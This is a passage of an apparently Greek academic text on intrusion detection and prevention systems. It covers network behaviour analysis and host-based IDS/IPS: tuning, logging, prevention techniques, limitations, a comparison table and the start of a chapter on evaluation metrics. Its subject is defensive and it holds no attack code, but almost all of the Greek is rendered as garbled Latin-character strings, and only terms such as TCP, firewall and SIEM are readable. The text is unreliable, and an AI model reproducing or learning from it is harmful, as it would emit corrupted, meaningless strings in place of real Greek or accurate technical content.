o Topopoéc, o1 omoieg mapdyovv acVVHOICTEG SIKTLOKEG OPUCTIPLOTNTES.

e Mn oavopevopeveg VANPEGIES EQUPROYDY, Ol OTOIEC AVIYVEDOVTIOL LE YPNOTN TEXVIK®OV

avAAVONG KATAOTOONG TPOTOKOAAMV.

o TMopafracseig NG TOMTIKNG GOQPIAENS TOL APOPOVV YloL TOPAdEYUO TN TPOocTadeila
GUVOEGTC GE€ OMAYOPEVIEVOVS VTTOAOYIOTEG 1 OPAGTNPLOTITESG Ol OTOiEG OV €ival amOdEKTEG

exTOGg TOL Wpopiov epyaciag.

Ta meprocodtepo, IDS/IPS avdivong dwktvokng kivong eivar oe 0éomn va avacvvBécovv ta
TOPOTNPOVUEVE, YEYOVOTA, WE GTOYO TOV TPOGOIOPIGUO TNG TPOEAELONG UG OMEIANG, OTMOG Yo

TOPASELY LD TNV APk TNYN LOAvVOTG amd i Lopope.

3.5.3.4 Tlapapetpomoinon

Ta IDS/IPS avdlvong diktvokng ocvumepipopds Poocifovv tn Agrtovpyio. tovg Kvpiog oty
TAPUTIPNON TNG OIKTLAKNG KIVIONG, TOV TPOGIIOPIGHO TILMOV AVAPOPAS CYETIKA LLE TIC OVOLEVOIEVES
SIKTVOKEG POEG Kt TN S10TPNOT EVOC KOTAAOYOV LE TA YOPUKTNPIOTIKG T®V DTOAOYIGT®V. AdY® TOV
OTL Ol TOPATAVD TIES AVOAPOPAS KO KATAAOYOL EVILEPDOVOVTOL AVTOUATO, OgV omatteitan dtaitepn
TOPAUETPOTOINOT yioo TN Agttovpyia owthg g teyvoroyiag IDS/IPS. H mapaperponoinon mov
amouteitor meplopiletal oTny EVNUEP®OT TNG KOVOVAOV TNG TOAMTIKNG OAGPAAELNG KOl TOV KATOOM®OV
EVEPYOTOINOTG  €100TOUCEMY, TPOKEWEVOL OoVTA va.  Tpocopuolovior ot pPeTafoArég Tov

nePBAALOVTOG, OTMG emiong Kot otnv evnuépmon tov blacklists kot whitelists.

Opopéva IDS/IPS mapéyovv emiong meplopiopéveg duvatdtNTeg XPNONG VITOYPOP®Y, Ol OMOIEG
Kupimg eELEYYOVY TIHES CLYKEKPIUEVES EMKEQAAIdWV TV TpmTokOAA®Y IP, TCP, UDP a1 ICMP.
Téhog, anapaitnt givor n evmuépoon tov puBuicewv tov IDS/IPS petd and kdbe onpoavtikn oAloyn

070 01KTLO, OTMG Y10 TAPASELY O TNV TPOGHNKT VEGV GLOTNUATOV KOl VEDV VINPECIDV, TPOKELEVOD

va amopevybel n Topaywyn false positives.
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3.5.3.5 Avvatdtmreg GLALOYNG TANPOPOPLOV

Ta IDS/IPS avélvong S1KTuOKNG GUUTEPIPOPES TOPEXOVLY T1 SLVATOTNTO EKTETAUEVNG GVALOYNG
TANPOQOPLDV, AOY® TOL OTL VAL ATAPAITNTN 1) YVOOT TOV YOPUKTNPIOTIKOV TOV VTOAOYIGTMV TOL
opyavicpov yia TV id1a T Agrtovpyia Tovg. Eivar og 0€om va cuvinpobv AMoTeg Y10 TOLG VTOAOYIGTEG

TOV EMTNPOVUEVOD SIKTVOV 01 0TTO1EC TEPIAUUPAVOLY TATPOPOPIES OTTMG 01 AKOAOVOEC:
e Awvbivoelg IP.
®  Ag1tovpykd GUOTN LA
o Tlapeydpeveg vnpecieg, CLUTEPIAAUPAVOUEVOV TV BUP®Y TOV ¥PTCLULOTOIOVVTOL.
®  YToAOYIOTEG UE TOVG OTTOI0VG EMKOWVMVEL, GUUTEPIAAUPOVOUEVOV TOV VANPECIOV Kot Bupdv
OV (PN GLULOTOLEL.
3.5.3.6 Avvatdtmreg Kataypoeng

Ta IDS/IPS avdAivong SIKTVOKNG GUUTEPIPOPES TPAYHOTOTOODV EKTEVY] KATOYPOQPT TOV SESOUEV®V
ov oyeTi{ovVIOl HE TO YEYOVOTO OV AVLVEDOVTOL, TO OTOio. Umopovv va a&omombovv yo v
emPefoinon TV EL50TOMGEDY Kl T SLEPEVVIIOT] TV TEPIGTATIKAOV acpirelac. O1 TAnpopopieg mov

ocuvnbmg xataypapoviot Tepiapfdvovy ta akdAovda: [1]
e Xpovoonuovon
e Tumo yeyovotog i) e1domoinong
o A&woAdynon
o [IpmtoKoAlo eTTEGOV SIKTVOV, UETAPOPAG KO EPAPLOYNG
e AwvbBivoelg IP Tpoéievong kat mpoopicpon
o  Ovpeg TCP 1 UDP mpoélevong kot Tpoopicpov 1 tomot kot kwdikoi ICMP
o  EmumpocHeta media emkepolidwv tov takétov (0nwmg TTL)
o Ap1Budg maxétmv Kot bytes tov avtodldytmkoy pHeta&d TV 600 VTOAOYIGTMV THG GUVIESNG

o Evépyeleg amoTponng mov VOEYOUEVMS TPOLYUATOTO OOy

3.5.3.7 Avvatomnteg amotponng embEcemV

O1 aeOntipeg tov IDS/IPS avaivong S1KTLOKNG CUUTEPLPOPAG TOPEXOVY TIG HKOAOVBES SuVATOTNTEG

AOTPOTNG EMOECEMY, AVALOYO. LE TOV TPOTTO AgtTovpyiog Toug: [1]

o  Modvo IMadntiKi Astrovpyia (Passive Only).
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= Teppatiopdég g TpEyoveas cuvéoov TCP. Evoc mabntikdg aioOnthpoc pumopei va
EMYEIPNOEL TOV TEPUUTIOUO HiOG cLVOGOV OTOGTEALOVTOG KOl GTO VO AKPO TNG
emkowvoviog mokéto reset (RST). H 1eyvikiq ovty agevog pev umopel va
ypnowomomnfetl poévo oty mepintwon ypnong tov tpwtokdAlov TCP kot apeTépov
dev givor 1010{TEPO ATOTEAEGLLATIKT, POV GE TOAAEG TEPMTMOGELG Ta TakéTo, reset dev

OTOGTELLOVTOL EYKAIP®G,.
o  Modvo Ev0vypappun rertovpyia (Inline Only).

= Xpion TEYVIKOV TEIYoVS TTPosTacias. Ot mepiocdtepol vBOypapLol aoONTpeg
O0100étovV JVVATOTNTEG TEWYMOV TPOCTACIAG TOL Umopohv va a&lomomnBovy yio

O10K0TN TV VTOMTOV dPACTNPLOTHTMV.
o  TMuOnTikn ko1 Ev0dypapun Aevrovpyio (Passive and Inline)

* Tpomomoinon Tav pvpiccov dilov cvotnpatov acoieiog. To IPS pumopet va
aAlGEer TNV TopopeTponoinon GAA®Y GUOTNHATOV OCPAAENS TPOKEUEVOL VO
teppatioet pia ev e€eriler enifeon. o mapdderypa, eivar duvvaTd Vo TPOTOTOGEL
mv mopapeTpomoinon piog dikrvaxng ocvokevng (firewall, router, switch) 1 evog
host-based firewall, ét61 ®ote vo amoxonel N TpdcPfacn Tov emiTBEUEVOD TPOG TO

610Y0 NG emifeonc.

»  Exktéleon Tpit@v wpoypoppdtov ko scripts. Kamotot aicOntmpeg ivar o 6éom va
exteElécovy  e€eldikevuévo TpoyphupoTe Kot SCripts, mov £yovv opicel ek TV

TPOTEP®V O1 SLOYELPLOTEG ACPAAELNG, OTOV OVIYVELBOVV VTTOTTEG SPACTNPLOTNTEC.

Ta neprocdtepa IPS divovv T duvatdTnTe GTOVE SUYEPIOTEC VO EVEPYOTOLOVV T} VO, ITEVEPYOTOLOVY
TNV ATOTPOTN TOV EIGPOADY Yo KAOe TOTO £100TOMGE®V, OTMC EMiong Kot va opilovv TV TEYVIKN
amoTPOmNG Yoo kKaBe tomo Eeywpiotd. H ypnon tov duvatotitov oamotponng cvvibwg Ppickovv
neploplopévn ypnon, Kabmg o amokieiopog evog false positive pmopei va odnyHoel oNUOVTIKEG

Swtapayéc 6N Asrtovpyia Tov SIKTHOV.

3.5.3.8 Ilepropiopoi

‘Eva onpavtikodg meplopiopds mov avripetonifovv ta IDS/IPS aviivong dikTvakfg GUUTEPLPOPHS
etvar n kaBvotépnon oty aviyvevon piog anetiig. H kobvotépnon avty oeeiletor katapynv ot
xpnon Tov uebddmv evtomopon dutapay®v, Kabmg avutég atnpiloviol otnv andkAion amd pio Tiun
aVOQOPAG, IE OTOTEAEGUA VO UMV OVIXVEDOVTOL Ol ATEILEG £00C OTOV EEMEPUGTOVV Ol TIUEC KATOPAIOD
mov &yovv oplotel. EmmpooBétmg, évag devtepog Aoyog vmapéng kabvotepncemv givar ot wnyEg
dedopévov mov alomolovvral. Otov Ta dedopéva SIKTLOKAOV POMV TPOEPYOVIOL OTO TOVG

dpoporoyntéc N GAAEG SIKTLOKEG GVOKEVES, aVTd petadidovtar ota IDS/IPS oe moptideg avd toktd
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YPOVIKA SlaoTRUATO. AVTO €XEL OC AMOTEAEGLO VO UV OVIYVEVOVTAL EYKOUP®S EMOBECELS Ol OTOLEC

OAOKANPMVOVTAL YPYOPO.

H xaBvotépnon avtr umopel vo amopevybel pe tn ypnomn oaentipmy ot omoiol EKTEAOVV amd HOVOL
TOVG TNV OTOLTNTIKY] G€ VTOAOYIOTIKOUG TOPOVLS KOTOYPOU(P] KOl OVAALCT T®V TOKETOV, UE TO

avVTIGTOL(O PLGIKE XPNUATIKO KOGTOC.

3.5.4 IDSS/IPSS pgpovopévov cveTipoTos

Ta IDS/IPS pepovouévov cvotiuatog (Host-Based IDSs/IPSs) napakolovboldv T, yeyovota mov
ovpPaivouy 6€ évav GUYKEKPUUEVO VTOAOYIOTH KOL OE GLVOLAGCKO HE TO YOPOUKTNPLIOTIKA TOV
npoomafoblv  vo  aviyveboovv  vmomteg  Opootnprotntes.  Ilapodeiypota  yeyovotov Kot
YOPAKTINPLOTIKOV oV pmopeil va mapakorovbei éva IDS/IPS pepovouévov cvotiuotog eival m
EVOUPUOTN KOl OGVPUOTH OIKTLOKY KIivnoen Tov, To apyeio KOTOypaeng TOV, Ol EKTEAOVUEVEG

dlepyacies, ol IPocPAcELg oE 0Pyl KOl Ol TPOTOTOWOELS TAPOUETPMOV EQUPLOY@DV. [1]

Ta nepocdtepa IDS/IPS pepovepévov GuGTARATOS XPNGLULOTOLOVV AOYIGHUIKO, OV gival YVOOTO MG
rpaxtopas (agent), to omoio eykabictatol 6TOV TPOGTATEVOUEVO VTTOAOYIOTH. TO AOYIGHIKO aVTO
gtvon og Béon va extehel gvépyeieg amotpomng embécewy, av avtd givar gmBountd, Ko propel vo
petadidel mAnpopopieg oe SKOMOTEG Oloyelplong, Ol Omoiol HE TN OEPA TOVG UmOpEl va
XPTOLOTO00V PAGELG SESOUEV@V Yol TNV AmOONKELOT AVTOV TV TANPOoPoPILdY. [ T droyeipion

Ko Tapokorovdnen tawv IDS/IPS vrdpyovv ot aviictolyeg Kovooles.

O mpdKtopeg pmopel va gival Kot vad HOPPT| GVCKELMY, Ol OTOIEG SBETOVV EVOOUATOUEVO TO
amopoitnTo AOYIOUIKO ac@dAElng, Yopic £€To1 vo, xpeldletal 1 €yKatdoTacn AOYIOUIKOD GTOV
TPOGTATEVOUEVO VTOAOYLOTH. Ol oLOKELEC OVTEC TOMOBETOVVTOL UMPOGTH OO TOV VTOAOYIOTH
TPOKELEVOL VO LTOPOVV VOL TOPAKOAOLOOVV TNV €16EPYOUEVT KOl €EEPYOUEVT] OIKTLOKTY| KIVNOT| TOV.
H dwapopd tovg oe oyéon ue tovg evbdypaupovg aodntipeg tov diktvakdv IDS/IPS gival to 61t
ouvBwg eivar mo e€edkevpévol, kabBmg mapakolovfodv T SpacTnPlOTNTA €VOG KOVO TOTOL

EQAPUOYAG, OTMC Yio TOPAdetyo, evog web server i pog Bdong dedopuévov.

3.5.4.1 Apytektovikég 01kTOOL Kot BEGEIC asOnTpwV

H apyrextovikny diktvov tov IDS/IPS pepovopévov cvotiuatog eivar cuvibog amin, kabmg ot
TPAKTOPEG €yKaBioTavTal GTOVG VIO TOPUKOAOVONGCN VLTOAOYIOTEG Kol TO SOUIKA oTOuEl TOL
IDS/IPS enicowvovodv peta&d tovg a&lomolidviag To Tuaikd SikTvo Tov opyovicpov. o v
TPOCTOCIO TOV OVTIUALIGCOUEVOV €VAICONTOV TANPOPOPIDY, GLVIOMG YPTCLOTOIOVVTIOL TEXVIKEG
KPUTTOYPAPNONG. TNV TEPITTM®ON ¥PNONG TPUKTOP®V VIO LOPPT] GLOKEVNG, 0LTOL ToToBETOVVTAL

UTPOGTA OO TOV KAOE TPOGTATEVOUEVO VTTOAOYIOTH, OTt®G Paivetar otnv Ewkova 3-5.
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Ewéva 3-5: Mapdaderypo apyrrektovikig IDS/IPS pepovopévov cvetipatog [1]

O mpaktopeg cLVHOOE ¥PNGIUOTOLOVVTOAL Y0 TNV TAPUKOAOVONGN TOV KPIGU®V VTOAOYIGTIKOV
CLGTNUATOY, KOOMG Kol Yy TNV OovAALGN TOV JPUCTNPOTHTOV 7OV 0V &gival duvatd vo
noapakoAovOnbodv amd dAla cvotiuata aceoleioc. Ta mapdderyua, ta diktvaxd IDS/IPS dev gival
og Béom va avoADGOVV TIG OpaoTNPLOTNTEG MG KPUTTTOYPUPNUEVTG OIKTVOKNG EMIKOIVMVING, EVG O1
npaxtopeg IDS/IPS pepovopévov cuotudtov, Totofetnuévol 6t aKpo TG ETKOVOVING, £(0VV

TPOGPUCT GTNV OTOKPVITOYPAPT|LLEVT] OPACTNPLOTNTAL.

3.5.4.2 AxpiPela aviyvevong

H enitevén axpifelog oy aviyvevon anethmv amd €va IDS/IPS pepovopévov cuetmuatog givot
apkeTd dvokoln, kabadg to IDS/IPS de yvopiler 10 mlaicio evidg tov omoiov cvuPoaivovv ta
yeyovoto mov evromilovtat. o Tapdadetrypa, 1 eyKaTAoTOoN HOG EPOPUOYNG 1] 1] AVTIKATASTACT EVOG
apyeiov Tov cLOTNUATOG, UTTOPEl Vo ival eite evépyeleg Hiog LOUOPONG EiTe VOUILEG dPACTNPIOTNTEG.
' avtd 10 AOY0, O6TAV aviyveLBOVV TETOOV TUTOL YEYOVOTO, EPMTATAL GLVAOME 0 XPNGTNG YO TN

QUoT NG OpacTNPOTNTOS Kol €POcOV de Anebel omdvinom &viog &vOg €VAOYOL YPOVIKOD
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SGTANATOG, AdUPavetar M TPoemAeyuévn omd@act omodoyng M amoppyne g evépyswc. O
ocvovdvooudc mokidwv Teyvikdv omd £va IDS/IPS umopei vo omogéper peyaAddtepn oxpifeio
aviyvevong, kabmg ot S1APopeC TEYVIKEG UTOPOVV VO, CLAAEEOVV TTEPLOCOTEPES TANPOPOPIEC GYETIKA

LLE TIC TOPATNPOVUEVES dPOCTNPLOTITES.

3.5.4.3 ToHmot aviyvevoduevmY YEYOVOT®MV

O1 tHmot TV yeyovotmv mov pumopoby va aviyvevtodv amd éva IDS/IPS pepovopévov cvotiuatoc,
TOWKIAOVV avAAOYO LE TIG TEXVIKEC aviyvevong Tov ypnoipomotel to kabe IDS/IPS. O teyvikég mov

ouvnlmg xpnopoTolovVTUL Eival o1 aKOAOLOES:

o Avdlvon eKTELOOPEVOL KMOIKA, LE GTOYO TNV OMOTPOMY EKTEAECNC LOLOPPDV KOl AAA®V
embécev mov Oa emétpemav TN pn e&ovoodotnuévn mpodcPacn kot TNV KAUAK®ON

npovouiwv. H avdivon tov KOdika pmopel va Yivel e xprion TOV TopaKAT® TEYVIKMOV:

= AVOAVGT GUUTTEPLPOPAS KMOIKA, EKTEADMVTOC TOV GE TEPIPAALOV SOKIUMV Kot

GLYKPIVOVTOG T GUUTEPLPOPE TOV LE TPOTLTOL KAATG Kol KAKTG GUUTEPLPOPAC.

= Aviyvevon vrepyeidons pviung, avalntdviog TumKA YOPUKTNPIOTIKA QVTOV TMV
embéoenv, OTmg cuykekpéves akorovbies evioldv Kot Tpoontabeteg npodsPaong oe

TEPLOYES LVAUNG OV deV €xovv amodobel ot diepyasia.

»  [lepakorovOnon kijoeov cvotiuotog, Kobmg o mpdktopag givor oe Béon va
Yvopilel TIC EpUPUOYEG TOV UTOPEL VO KOAEGEL 1 KAOE eQaployn.

» AiloTteg emTPENOPEVOV EQUPROYOV Kot Biflodnkdv mov pmopei vo ektelécel o

KGOe ypNoTNG KO N KAOE epappoyn.

o  Avalvon SIKTVOKNAG KiV6NG, O aVOAOYIO LLE TNV OVIADGT TOV EKTEAEITOL OTTO TO SIKTLOKE
IDS/IPS.  EmmpooBétmg, eivar epwkty 1 e€edikevpévn  enelepyacio mov  agopd
OVLYKEKPIUEVEG YVOOTEG EPapLOYES, Ommg clients niektpovikng oAlnioypagiog, Kabmg kat o

ELeyy0G apyei®v oL dLOKIVOOVTAL SIKTLOKE, YLl TV TOPOVGIN LOUOPPOV.

e  DuUTpapiope SIKTVOKNG KIVIIGNG OO EVOOUATOLEVA TEWYN TPOGTOGIaG oV deféTovy ot

TPAKTOPES.

o IlopoxoiovOn6n TOL GULGTNUHOTOS OPYEIOV, YPNCUYLOTOIDVTOS TEYVIKEG EAEYYOL NG
AKEPOIOTNTOGC TOV apyeiV, EAEYYOL TV 1WO10THT®V CTUAVTIKOV apyeiov Kol Tpoctadeidv

TpdSPaong o€ ONUAVTIKA apyEiot TOV CLGTHUATOC.
e Avdivon TOV apyEiOv KOTAYPAONS

o [Mopaxorovdnen aArlay®V 6TIS SIKTVOKES PpLOUIGELS TOV CLOTNATOG
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3.5.4.4 Tlapoperpomoinon

Ta IDS/IPS pepovopévov cuotipatog anottobv cuvifog vynid Pabud mapapetponoinong, kadog
OTOUTEITOL €1TE O TPOGOOPICUOG TOMTIKAOV GYETIKA LE TN GUUTEPIPOPA TNG KAOe €popuroyng M M
TOPATPNON NG OPACTNPLOTNTUG KOl O OPIGUOG TIUMV OVOPOPAS Kol TPOTOTMOV CYETIKE UE TNV
avapevouevn ocopmepipopd. Kot otig 000 mepumtdoelg €ival amopaitntn 1 TPOCAPUOYH TOV
pvOuicenv otig ekdotote aAlayég Tov mepiPaiiovtoc. H mapapetporoinon avt) uropei va yiver ova

oUGTNLO 1 KO 0VE OUAO0 CUOTNUATOV.

Mia and tig pvbuicelg mov ocvvnbwg amotteitar, apopd Tig Aioteg blacklists kor whitelists
CLOTNUATOV, EQAPUOYDV, Bupdv, apyeiov Kol GAA@V yopaktnplotik®v. Ot AMoteg avtég Tov Kabe
TPAKTOpa €lval duVATO VO EVNUEPDVOVTIOL OVTOUATOC HECH TV OVOPOPDOV TPUKTOPMOV GAA®V
CUCTNUATOV, CYETIKA HE VEEC aVIYVEVLCELS KakOBovAwv opactnprotitev. Télog, yioo kdbe tOTO

glvomoinong divetar  SuvATOTNTOA TPOGUAPLOYNS TV SOVVATAV ETIAOYDV ATOKPIONC.

3.5.4.5 Avvatdmreg Kataypoeng

Ta IDS/IPS pepovopévov GLGTHUOTOC TPAYUOTOTOIO0V EKTEVH] KOTOYPAPY TOV O£d0UEVOV TTOL
oyetiCovior [E To YEYOVOTO TOL Oviyvevovtal, To omoio umopodv va a&tomonbovv yi nv
emPePainon TV EBOTOMCEMV Kol T SIEPELVNOT TOV TEPIOTATIKAOV acPdAielag. Ot TAnpopopieg mov

ocuvnbmg Kotaypdpoviot Tepiapfdvovy ta akdAovda: [1]
e Xpovoonuoveon
e Toumo yeyovotog i e1domoinong
e A&woAdynon

o [IAnpogopieg oyeticd pe ta gvromlopeva yeyovota, omwg devbovoelg IP, apiBuoi Bupav,

TANPOPOPIES EPAPUOYADV, OVOLLOTO OPYEIMV KOl AVAYVOPIOTIKA XPNOTAOV.

o Evépyelec amotpomng Tov evOEXOUEVAOE TPAYLLOTOTOONKAY

3.5.4.6 Avvatdétreg amoTpomng emBEcE®V
Ta IDS/IPS pepovopévov GLGTAUATOC TOPEXOVY TIG 0KOAOVOES SVVATOTNTEG AMOTPOTNG EMOECEDY,
AVAAOYQ LLE TNV TEYLVIKY aviyvevong Tov ypnoytonoteitat: [1]

o Avdlvon ekTeEAOOPEVOV KAOIKO. Me v TeyViKn avty €ival duvath 1 amoTpomy TNg
EKTELEOTC KMDOWKO, U €EOVGLOBOTNUEVAOV EQUPUOYDYV, LOHOPPDV KOl YEVIKOTEPO AYVOOTOV

embécewv.

e Avdivon SIKTVOKNG Kivong. Me v teyviki avth givor duvatd va dtokonel 1 eneepyacio

g gloepyOuevng kivinong N N e&epyOUeVn Kivnon, TPOKEWEVOD VO OOTPUTOVY EMOECELG
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TOV EMMEd®V  OIKTOOV, UETOQOPAG Kol €POUPUOYNC M va Olakomel m  ypnon  un
££0VO1000TNUEVOV EQAPUOYOV KOl TPOTOKOA®Y. Tpomonmoidvtog tig pubuiceig Tov firewall
TOL GLOTNHUOTOG Elval €miong SVVATO VO OMOTPAMEL 1| MEPUTEP® OIKTVLOKY Kivion mov
oyetiCeTon pe v vmomtn Spactnpotnta. H teyvikny avdivong ) diktvokng kivnong sivol

OTOTELEGULOTIKT] GTNV OTOTPOTN TOAADV YVOGTOV KOl AYVOCTOV EMOECEWDV.

o DuTpapiopo SikTvakig Kivieng. Asttovpymdvrag og firewall Tov cuetuartog givar QKT
N Topeumodion un  €£ovolodoTNUEVEOY TPOGPRAcEDY Kol TOPAPBIICE®Y NG TOALTIKNG

0CQAAELOG.

o [lopaxkoiovOnen Tov ovoTipoTog Opyei®v. Me ovtnV TNV TEYXVIKN &ivol €QIKTR 1
napeunddion ¢ TPOcPacng, TPOMOTOINCNG, OVIIKOTASTOONG T Oypaens opyeiov,

OMOTPENOVTOG TNV EYKATAGTACT LOLOPOOV.

Ot voAoumeg TEYVIKEG OViXVELOTG, OTTMOG YO TAPASELYLO 1) AVAAVOT TOV apyEi®V KaTaypoens, dev
dtvouov 1 Odvvarotnto omotpomng embEécewmv, KOOMG M aviyvevon TV OTE®V Yivetol of

LLETOYEVESTEPO YPOVO NG EKTELECTG TOV AVTIOTOLY®OV OPOGTNPLOTHTOV.

AOY® ™G KOANG YVOONG TOV YOPUKTNPIOTIKAOV TOV TPOGTATEVOUEVOL cLoTApOTog, To IDS/IPS
LELOVOUEVOL GLGTAKOTOG gival oe Béom va mpocdlopicovv av pia emifeon Oo eivor emtuyng o€
mepintowon mwov avty dgv anotponel. Baocel avtig g yvdong pmopovv vo, 0ETouv TV KOTAAANAN

TPOTEPALOTNTO OE KAOE E100TOINGT KOl VOl ETIAEYOVV TNV KUTAAANAT EVEPYELN ATOTPOTNG.

3.5.4.7 Tlepropiopoi
Ta IDS/IPS pepovopévov cLGTAUATOS AVTIET®RILOVY TOVG TAPAKAT® TEPLOPIGUOVC:

o KoaOvotépnon otnv mopaymy] £00TOMGEMV, OTAV YPTOLUOTOOVVIOL TEXVIKEG OMMG 1)
avaivon Tev apyelov Kataypaens, ol omoieg epapprofoviarl avd TaKTd ¥Povikd SoThHoTo

KOl 001YOUV GE ONUOVTIKEG KABVGTEPTGEIS GTNV AVALYVOPICT] YEYOVOTMV.

o  KafBvotépnon ety evijuépmon Tov drokopetdv dwaysipiong. [ToAdd IPS/IPS npombovv
T SEQOUEVA ELOOTONCEMY GE SLOKOUIGTEG OLOYEIPIONG OVE TAUKTA YPOVIKG SLOGTHUOTO Kot
oyl o€ TMPAyHaTiKO ¥pOvo, LE OTMOTEAECUA VO LIAPYOLY KAOVGTEPNGES OTNV EKTEAEON

EVEPYEIDV OMTOTPOTNG TOV EMOEGEDV.

o Kotavdrloon vA0LOYIOTIKOV TOPMOV TOV TPOGTATEVOPEVOV GUGTHNOTOS OTO TOV

EYKUTECTNIEVO TTPAKTOPU.
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3.5.5 Xpnon morhomhdv Tervoroyidv IDS/IPS

H xd0e pio omd tig teyvoroyieg IDS/IPS mov avolvdnkav, mapéyel Sla@opeTikés dSuvaToOTNTEG Kot

TAEOVEKTILLOITO £VOVTL TOV VITOAOITVY TeYVOAOYIDY. O Ilivakag 3-1 Tapéyetl pio cHYKPIoN AVTOV TOV

TEYVOLOYLDV.
Mivaxkag 3-1: Zoykpion teyvoroyrdv IDS/IPS [1]
Teyvoloyia TUTIOL AVIYVEVOPEVWV Medio e@appoyng MMAgovekTpaTO
IDS/IPS YEYOVOT®WV
ATVOKA Apaotnplotnreg emmédov | [ToAhamdld vmodiktva | Eivar oe 6éon  va
OIKTOOV,  WETOPOPAS Ko | Ko opadec | avaivcovv ce PBdbog
EQUPLOYNG VTOAOYIGTMV TO UEYOADTEPO
mAn0og
TPOTOKOAA®V
EMITEOOV EQOPLOYTNG
AcvVpuata Apaocnpomtec  acvppotov | [Todamid WLANS kot | Etvar oe  0éon va
TPOTOKOAA®V Kot un | opddeg AGVPUUTOV | OVOADCOVY TG
eEovorodotnuéva WLANS clients dpaocTNploOTTEG TOV
TPOTOKOAL®V
ACVPLLOTNG
JIKTOOONG
Avdvong Apactnplotnreg emmédov | [ToAhamld  vmodiktva | Eivol TO 7o
SIKTLAKNG OIKTOOV,  WETOPOPAS Ko | Ko ounadec | amoteleouaTika
OULUTIEPLPOPAES | EPAPUOYNG  TOV  TPOKAAOVV | VITOAOYIGTMV otV aviyvevon
OVAOUUAEG OTKTVOKES POEG AVOYVOPIOTIKOV
GOPDOCEDV Ko

embécewv  dpvnong

VANPECIDOV

Emtpénovv mv
avacvvoeon

YEYOVOT®V HE GTOYO
TOV  TPOGOIOPIGUO
™mg apxwkng mmyng

poéAvvong oamd pio

lopoper
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Teyvoloyia TUTOL aviyveLOpEVWV Medio eappoyng IMAcovekTuaTa
IDS/IPS YEYOVOT®WV

Mepovwpévou | Apactnplotnteg Tov | Mepovopéva Adyw ™mg

OUOTHUATOG EQAPLOYDV Kot OV | cuoTHHOTO TOmoBETNONG  TOVG,
AELTOLPYIKOV GULGTHLOTOS TOL elvar og Béon va
EMONTEVOLEVOV  GLGTHUATOG, avaAvooLVV TIG
KoOmG KAl dpaoTNPLOTNTEC dpactnplotntec piog
EMIMEI®V SIKTVOV, UETOPOPEG KPUTTOYPOPTLLEVIC
KOl EQAPLLOYNAC OIKTLOKNG

EMKOVAOVIOG

IToAoi opyaviopol emidéyovv va ypnotporomoovy moAlamiég texvoloyieg IDS/IPS 1 axdpa kot
dwapopetikd IDS/IPS g 10106 teyvoroyiog, kabdc kabe éva amd avtd eivar oe BEomn va avigvedost
YEYOVOTO. TOL OTTO10. OEV AVIYVEDOVTOAL OO TIG VTOAOITA 1] VO OVIYVEDGEL KATO10VG TOTOVS YEYOVOT®V LE
ueyaAvtepn axpifeta amd ta dGAAa IDS/IPS. Ta diopopetikd avtd Tpoidvta Asttovpyodv €&’ opiopon
ave&aptnta amd to vroAouta. To YEYOVOG anTo £YEL TO TAEOVEKTNLA TNG 0veEAPTNTNG AELTOVPYinG TOV
kabe IDS/IPS, ghoyioTonoidvIog Tig ENTOOELS TOL UTopel va £xel 1 actoyio £vog €€’ avtdv 01N
Aertovpylo Tov GAA®V. Qot000, N EAAEWYT] OAOKANPOONS TOV OLOPOPETIKMOY OVTAOV TPOIOVI®V,
EPLOPILEL TNV OMOTEAECUATIKOTITA TNG CLUVOMKNG AVGNG, KOOMDS 0pevOoc ey dgv glval ePIKTOG O
Sapolpacog TV TANPoeoptdv peTofd tov dwgopetikdv IDS/IPS kot apetépov avédvetat
ONUAVTIKA 1 SvoKOAlN TapakoAoVONoNG Kot dlayeiptong tovg. I' avtd 10 Adyo emAdyetal TOAAEG
QOpEG €lTe 1 GUECT OAOKANP®ON TOLG HEC® NG omevbeiog aviaAloyng oedopéveov N 1 EUpeon
OAOKANP®MON TOLC UEC® TNG GMOGTOANG TmV dedouévav tovg ot ocvotniuata SIEM (Security

Information and Event Management).
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4 Oénorto agrordéynong tov IDSs/IPSs

AV K0l TO GUGTHUATO AVIXVELONC KOl ATOTPOTNG EIGPOADY YPNGIUOTOIOVVTOL GUEPA EVPEWMS YO TNV
TPOGTAGIO TWV TANPOPOPIIKADY CLUGTNUAT®VY, OV VTAPYEL ENL TOL TAPOVTOC il OAOKANPOUEVT KoL
EMOTNUOVIKA  TEKUNPLOUEVN  pebodoroyion  SOKIUNAG TNG  OMOTEAEGUOTIKOTNTOC OLTOV  TOV
ovomudtov. H éMienyn mocotikdv petpricenv amddoong twv IDSS/IPSS, oeeiletar og didpopa
eUmOd. mov ypetdleTal vo EEMEPOCTOVV TPOKEIWMEVOL VO €IVOL EQIKTI 1 EKTEAECT OVTOV TOV
SOKIU®V. XTIG EMOUEVEG TOPAYPAPOVS AVOADOVTOL Ol KUPLOTEPEG TOCOTIKEG UETPNOELS TOL Elvan

amapaiTNTES, KOOME Kot TO EPTOJN TOV VEPYOVV OTNV EKTEAECT] ALTMV TV LETPTCEDV.

H dvvatéomta zmpoaypoatomoinong mocotik®v petpioemv g okpifeiog tov IDSS/IPSs  eivon
amopaitnTn aeevog Pev yio ekeivoug Tov £yovv v guBHvn agloddynong Kot ETAOYNG EVOG TETOLOV
GUGTAHOTOG KOl APETEPOV Y10, TOVG EPEVVNTEG TOV TPOSTaHoVV va BEATIOCOVV TO. GLGTIUOTA TOVG

KO VO, LETPTOOVV TNV TPO0J0 KOl ATOTEAEGLLATIKOTTO TOVG,

4.1 Merpioipa yopoxtnprotikd Tov IDSs/IPSs

Yy evomrta aut) Topotifevior To Kuplotepa. petpiole  yapaktplotikd tov IDSS/IPSS,

€0TIALOVTOG KUPIMG GTO TOGOTIK(, YOPOKTNPLOTIKA TOL GYeTilovTal pe TV aKpifeia aviyvevongc.

4.1.1 Kdrvyn évavtt yvoot@v embicemv

Me ) pétpnon avti tpocdiopiletal o aplBuds TV YVOOTOV eTBECEMV TOL UTOPEL VO AVIXVEVGEL
éva IDS/IPS vro 18avikéc ovvOnkes. Ta ta IDSS/IPSs mov ypnowyomnotovv ™ pebodoroyia
aviyvevong Pdaoet vroypoe®v, avtd pmopel va emtevyfel péom tng péTpnong tov apduol Twv
Sféou@v VTOYPAPOV KOl TNG AVTIGTOYNoNG TOVg oTlg Yvootég ancihég. Ta ta IDSS/IPSS mov
xpnoyomolovy pebodoroyieg drapopetikéc amd tn pebodoroyia aviyvevong Pacel vToypaemv, eivot
amopaitnTo Vo TPOGOlOPIGTOVY Ol YVOGCTEG OMEAEG OV UTOPOLV Vo aviyvevbovv amd pio

ouykekpiuévn pebodoroyia. [3]

